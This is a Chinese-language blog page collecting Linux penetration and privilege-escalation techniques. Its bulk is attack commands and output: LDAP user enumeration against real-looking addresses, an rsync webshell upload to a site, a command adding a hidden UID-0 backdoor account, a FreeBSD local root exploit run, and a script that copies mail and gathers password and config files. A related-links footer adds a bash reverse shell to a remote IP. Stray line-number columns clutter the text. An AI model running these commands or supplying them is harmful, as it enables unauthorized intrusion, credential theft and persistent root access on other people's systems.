Linux渗透与提权：技巧总结篇

本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

/etc/passwd

/etc/shadow

/etc/fstab

/etc/host.conf

/etc/motd

/etc/ld.so.conf

/var/www/htdocs/index.php

/var/www/conf/httpd.conf

/var/www/htdocs/index.html

/var/httpd/conf/php.ini

/var/httpd/htdocs/index.php

/var/httpd/conf/httpd.conf

/var/httpd/htdocs/index.html

/var/httpd/conf/php.ini

/var/www/index.html

/var/www/index.php

/opt/www/conf/httpd.conf

/opt/www/htdocs/index.php

/opt/www/htdocs/index.html

/usr/local/apache/htdocs/index.html

/usr/local/apache/htdocs/index.php

/usr/local/apache2/htdocs/index.html

/usr/local/apache2/htdocs/index.php

/usr/local/httpd2.2/htdocs/index.php

/usr/local/httpd2.2/htdocs/index.html

/tmp/apache/htdocs/index.html

/tmp/apache/htdocs/index.php

/etc/httpd/htdocs/index.php

/etc/httpd/conf/httpd.conf

/etc/httpd/htdocs/index.html

/www/php/php.ini

/www/php4/php.ini

/www/php5/php.ini

/www/conf/httpd.conf

/www/htdocs/index.php

/www/htdocs/index.html

/usr/local/httpd/conf/httpd.conf

/apache/apache/conf/httpd.conf

/apache/apache2/conf/httpd.conf

/etc/apache/apache.conf

/etc/apache2/apache.conf

/etc/apache/httpd.conf

/etc/apache2/httpd.conf

/etc/apache2/vhosts.d/00_default_vhost.conf

/etc/apache2/sites-available/default

/etc/phpmyadmin/config.inc.php

/etc/mysql/my.cnf

/etc/httpd/conf.d/php.conf

/etc/httpd/conf.d/httpd.conf

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/etc/httpd/logs/access_log

/etc/httpd/logs/access.log

/home/apache/conf/httpd.conf

/home/apache2/conf/httpd.conf

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/apache2/error_log

/var/log/apache2/error.log

/var/log/apache2/access_log

/var/log/apache2/access.log

/var/www/logs/error_log

/var/www/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/error_log

/var/log/error.log

/var/log/access_log

/var/log/access.log

/usr/local/apache/logs/access_logaccess_log.old

/usr/local/apache/logs/error_logerror_log.old

/etc/php.ini

/bin/php.ini

/etc/init.d/httpd

/etc/init.d/mysql

/etc/httpd/php.ini

/usr/lib/php.ini

/usr/lib/php/php.ini

/usr/local/etc/php.ini

/usr/local/lib/php.ini

/usr/local/php/lib/php.ini

/usr/local/php4/lib/php.ini

/usr/local/php4/php.ini

/usr/local/php4/lib/php.ini

/usr/local/php5/lib/php.ini

/usr/local/php5/etc/php.ini

/usr/local/php5/php5.ini

/usr/local/apache/conf/php.ini

/usr/local/apache/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache2/conf/php.ini

/etc/php4.4/fcgi/php.ini

/etc/php4/apache/php.ini

/etc/php4/apache2/php.ini

/etc/php5/apache/php.ini

/etc/php5/apache2/php.ini

/etc/php/php.ini

/etc/php/php4/php.ini

/etc/php/apache/php.ini

/etc/php/apache2/php.ini

/web/conf/php.ini

/usr/local/Zend/etc/php.ini

/opt/xampp/etc/php.ini

/var/local/www/conf/php.ini

/var/local/www/conf/httpd.conf

/etc/php/cgi/php.ini

/etc/php4/cgi/php.ini

/etc/php5/cgi/php.ini

/php5/php.ini

/php4/php.ini

/php/php.ini

/PHP/php.ini

/apache/php/php.ini

/xampp/apache/bin/php.ini

/xampp/apache/conf/httpd.conf

/NetServer/bin/stable/apache/php.ini

/home2/bin/stable/apache/php.ini

/home/bin/stable/apache/php.ini

/var/log/mysql/mysql-bin.log

/var/log/mysql.log

/var/log/mysqlderror.log

/var/log/mysql/mysql.log

/var/log/mysql/mysql-slow.log

/var/mysql.log

/var/lib/mysql/my.cnf

/usr/local/mysql/my.cnf

/usr/local/mysql/bin/mysql

/etc/mysql/my.cnf

/etc/my.cnf

/usr/local/cpanel/logs

/usr/local/cpanel/logs/stats_log

/usr/local/cpanel/logs/access_log

/usr/local/cpanel/logs/error_log

/usr/local/cpanel/logs/license_log

/usr/local/cpanel/logs/login_log

/usr/local/cpanel/logs/stats_log

/usr/local/share/examples/php4/php.ini

/usr/local/share/examples/php/php.ini

/usr/local/tomcat5527/bin/version.sh

/usr/share/tomcat6/bin/startup.sh

/usr/tomcat6/bin/startup.sh

 liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

Default

1

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

Default

1

2

3

2.less /etc/ldap.conf

base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

Default

1

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

Default

1

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

Default

1

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

Default

1

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

Default

1

2

3

2.less /etc/ldap.conf

base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

Default

1

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

Default

1

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

Default

1

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"

version: 1

dn: dc=ruc,dc=edu,dc=cn

dc: ruc

objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn

uid: manager

objectClass: inetOrgPerson

objectClass: organizationalPerson

objectClass: person

objectClass: top

sn: manager

cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn

uid: superadmin

objectClass: inetOrgPerson

objectClass: organizationalPerson

objectClass: person

objectClass: top

sn: superadmin

cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn

uid: admin

objectClass: inetOrgPerson

objectClass: organizationalPerson

objectClass: person

objectClass: top

sn: admin

cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn

uid: dcp_anonymous

objectClass: top

objectClass: person

objectClass: organizationalPerson

objectClass: inetOrgPerson

sn: dcp_anonymous

cn: dcp_anonymous

Default

1

2.查看基类

Default

1

bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"

version: 1

dn:

objectClass: top

namingContexts: dc=ruc,dc=edu,dc=cn

supportedExtension: 2.16.840.1.113730.3.5.7

supportedExtension: 2.16.840.1.113730.3.5.8

supportedExtension: 1.3.6.1.4.1.4203.1.11.1

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25

supportedExtension: 2.16.840.1.113730.3.5.3

supportedExtension: 2.16.840.1.113730.3.5.5

supportedExtension: 2.16.840.1.113730.3.5.6

supportedExtension: 2.16.840.1.113730.3.5.4

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24

supportedExtension: 1.3.6.1.4.1.1466.20037

supportedExtension: 1.3.6.1.4.1.4203.1.11.3

supportedControl: 2.16.840.1.113730.3.4.2

supportedControl: 2.16.840.1.113730.3.4.3

supportedControl: 2.16.840.1.113730.3.4.4

supportedControl: 2.16.840.1.113730.3.4.5

supportedControl: 1.2.840.113556.1.4.473

supportedControl: 2.16.840.1.113730.3.4.9

supportedControl: 2.16.840.1.113730.3.4.16

supportedControl: 2.16.840.1.113730.3.4.15

supportedControl: 2.16.840.1.113730.3.4.17

supportedControl: 2.16.840.1.113730.3.4.19

supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2

supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6

supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8

supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

supportedControl: 2.16.840.1.113730.3.4.14

supportedControl: 1.3.6.1.4.1.1466.29539.12

supportedControl: 2.16.840.1.113730.3.4.12

supportedControl: 2.16.840.1.113730.3.4.18

supportedControl: 2.16.840.1.113730.3.4.13

supportedSASLMechanisms: EXTERNAL

supportedSASLMechanisms: DIGEST-MD5

supportedLDAPVersion: 2

supportedLDAPVersion: 3

vendorName: Sun Microsystems, Inc.

vendorVersion: Sun-Java(tm)-System-Directory/6.2

dataversion: 020090516011411

netscapemdsuffix: cn=ldap://dc=webA:389

supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA

supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5

supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA

supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA

supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA

supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA

supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA

supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA

supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA

supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA

supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA

supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5

supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5

supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA

supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA

supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA

supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA

supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA

supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5

supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5

supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5

supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5

supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5

supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5

supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

Default

1

<strong> </strong>

 liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

Default

1

showmount -e ip

 liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

rsync 210.51.X.X::

finance

img_finance

auto

img_auto

html_cms

img_cms

ent_cms

ent_img

ceshi

res_img

res_img_c2

chip

chip_c2

ent_icms

games

gamesimg

media

mediaimg

fashion

res-fashion

res-fo

taobao-home

res-taobao-home

house

res-house

res-home

res-edu

res-ent

res-labs

res-news

res-phtv

res-media

home

edu

news

res-book

看相应的下级目录(注意一定要在目录后面添加上/)

Default

1

2

3

4

5

rsync 210.51.X.X::htdocs_app/

rsync 210.51.X.X::auto/

rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件

Default

1

rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

Default

1

2

3

rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/

http://app.finance.xxx.com/warn/nothack.txt

 liunx 相关提权渗透技巧总结，四、squid渗透技巧：

Default

1

2

3

4

5

nc -vv 91ri.org 80

GET HTTP://www.sina.com / HTTP/1.0

GET HTTP://WWW.sina.com:22 / HTTP/1.0

 liunx 相关提权渗透技巧总结，五、SSH端口转发：

Default

1

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

 liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

Default

1

index.php?option=com_content&amp;view=article&amp;id=30:what-languages-are-supported-by-joomla-15&amp;catid=32:languages&amp;Itemid=47

重新设置密码：

Default

1

index.php?option=com_user&amp;view=reset&amp;layout=confirm

 liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：

Default

1

useradd -o -u 0 nothack

 liunx 相关提权渗透技巧总结，八、freebsd本地提权：

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

[argp@julius ~]$ uname -rsi

* freebsd 7.3-RELEASE GENERIC

* [argp@julius ~]$ sysctl vfs.usermount

* vfs.usermount: 1

* [argp@julius ~]$ id

* uid=1001(argp) gid=1001(argp) groups=1001(argp)

* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex

* [argp@julius ~]$ ./nfs_mount_ex

*

calling nmount()

 tar 文件夹打包：

1、tar打包：

Default

1

2

3

tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*

alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压

那么用这条比较好

Default

1

tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}

系统信息收集：

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

for linux：

#!/bin/bash

echo #######geting sysinfo####

echo ######usage: ./getinfo.sh &gt;/tmp/sysinfo.txt

echo #######basic infomation##

cat /proc/meminfo

echo

cat /proc/cpuinfo

echo

rpm -qa 2&gt;/dev/null

######stole the mail......######

cp -a /var/mail /tmp/getmail 2&gt;/dev/null

echo ‘u‘r id is‘ `id`

echo ###atq&amp;crontab#####

atq

crontab -l

echo #####about var#####

set

echo #####about network###

####this is then point in pentest,but i am a new bird,so u need to add some in it

cat /etc/hosts

hostname

ipconfig -a

arp -v

echo ########user####

cat /etc/passwd|grep -i sh

echo ######service####

chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}

cat /etc/passwd|grep -i $i

done

locate passwd &gt;/tmp/password 2&gt;/dev/null

sleep 5

locate password &gt;&gt;/tmp/password 2&gt;/dev/null

sleep 5

locate conf &gt;/tmp/sysconfig 2&gt;dev/null

sleep 5

locate config &gt;&gt;/tmp/sysconfig 2&gt;/dev/null

sleep 5

###maybe can use "tree /"###

echo ##packing up#########

tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig

rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
时间： 2024-10-19 11:59:55

Linux渗透与提权：技巧总结篇的相关文章

Windows渗透与提权技巧汇总

参考:http://netsecurity.51cto.com/art/201312/426150_all.htm 1.旁站路径问题 2.用以下VBS: On Error Resume Next  If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then  MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(

webshell提权技巧 -中国寒龙出品 关注网络安全

web)权限终极9技巧 当我们取得一个webshell时候,下一部要做的就是提升权限个人总结如下:1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆2.C:\WINNT\system32\config\进这里下它的SAM,破解用户的密码用到破解sam密码的软件有LC,SAMinside3.C:\Doc

小白日记25：kali渗透测试之提权（五）--利用配置不当提权

利用配置不当提权 与漏洞提权相比,更常见的方法.在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏洞进行入侵.当入侵一台服务器后,无法照当相应的补丁进行提权,可通过寻找是否存在配置不当进行提权.如:代码中没有进行参数过滤等操作. 通过查看哪些服务默认以system权限启动,可尝试将其替换或绑定反弹shell程序 了解NTFS权限允许users修改删除本身,则可利用其配置不当,完成提权 XP 安装了其他软件,打开services.msc本地服务设置,查看该软件是否以本地系统权限启动 查

小白日记21：kali渗透测试之提权（一）--本地提权

本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器后,可以利用他进入更高的状态.但并不是说这种漏洞不严重.难以利用,往往这种漏洞更容易被利用.带来的后果比远程漏洞更可怕,这种漏洞实际上远比远程漏洞稀有,往往一个微软本地提权漏洞在国外的价格就可以到几百万美金.因为远程漏洞其实是很普遍的,一个网站存在网页问题,就可能被篡改,传入WEBSHELL(一种控制网站机器

小白日记24：kali渗透测试之提权（四）--利用漏洞提权

利用漏洞提权实例 前提:已渗透进一个XP或2003系统 一.实验目标漏洞:Ms11-080 补丁:Kb2592799 漏洞信息:https://technet.microsoft.com/library/security/ms11-080 1.通过searchsploit命令查找漏洞 [注:查找漏洞的命令行窗口要能完全显示Title和Path] #有python和ruby两种漏洞利用代码,可根据自己喜好选择,本章选择python 2.通过Sandi查找 查看漏洞利用代码的描述 #通过Afd.sy

小白日记26：kali渗透测试之提权（六）--收集敏感信息，隐藏痕迹

提权后操作 提权之后,要收集目标系统的重要信息LINUX /etc/resolv.conf       #查看DNS配置,是否可以进行DNS篡改或劫持 /etc/passwd         #存放账号 /etc/shadow            #存放密码 whoami/who -a       #查看当前用户/查看所有用户 ifconfig -a          #查看ip iptables -L -n    #防火墙配置 netstat -nr       #查看当前系统网关以及路由设

小白日记23：kali渗透测试之提权（三）--WCE、fgdump、mimikatz

WCE windows身份认证过程 http://wenku.baidu.com/view/cf2ee127a5e9856a56126017.html #特例在登陆的目标服务器/系统,有一个w摘要安全包,会在本地缓存一个明文密码,当注销登陆后,会被删除 WCE (WINDOWS CREDENTIAL EDITOR) Windows Credentials Editor (WCE)[windows身份验证信息编辑器]是一款功能强大的windows平台内网渗透工具. 作用:它可以列举登陆会话,并且可

Linux下漏洞提权

Linux下的漏洞提权 linux下一般都是系统漏洞提权,分为以下几个步骤: 提权 反弹shell 本地:nc -l -p 8000 目标机器:/bin/bash -i >& /dev/tcp/10.10.10.10/8000 0>&1 实例 1.得到系统版本号 centos 7 local root 2.找到对应的exp 反弹shell 目标机运行  本机hacker 提权 下载exp源码:编译源码:执行exp 权限变成root

adore-ng笔记和Linux普通用户提权

官网:https://github.com/trimpsyw/adore-ng 安装: [[email protected] ~]# unzipadore-ng-master.zip [[email protected] ~]# cdadore-ng-master [[email protected] adore-ng-master]#rpm  -ivh/mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm yum install gcc* [[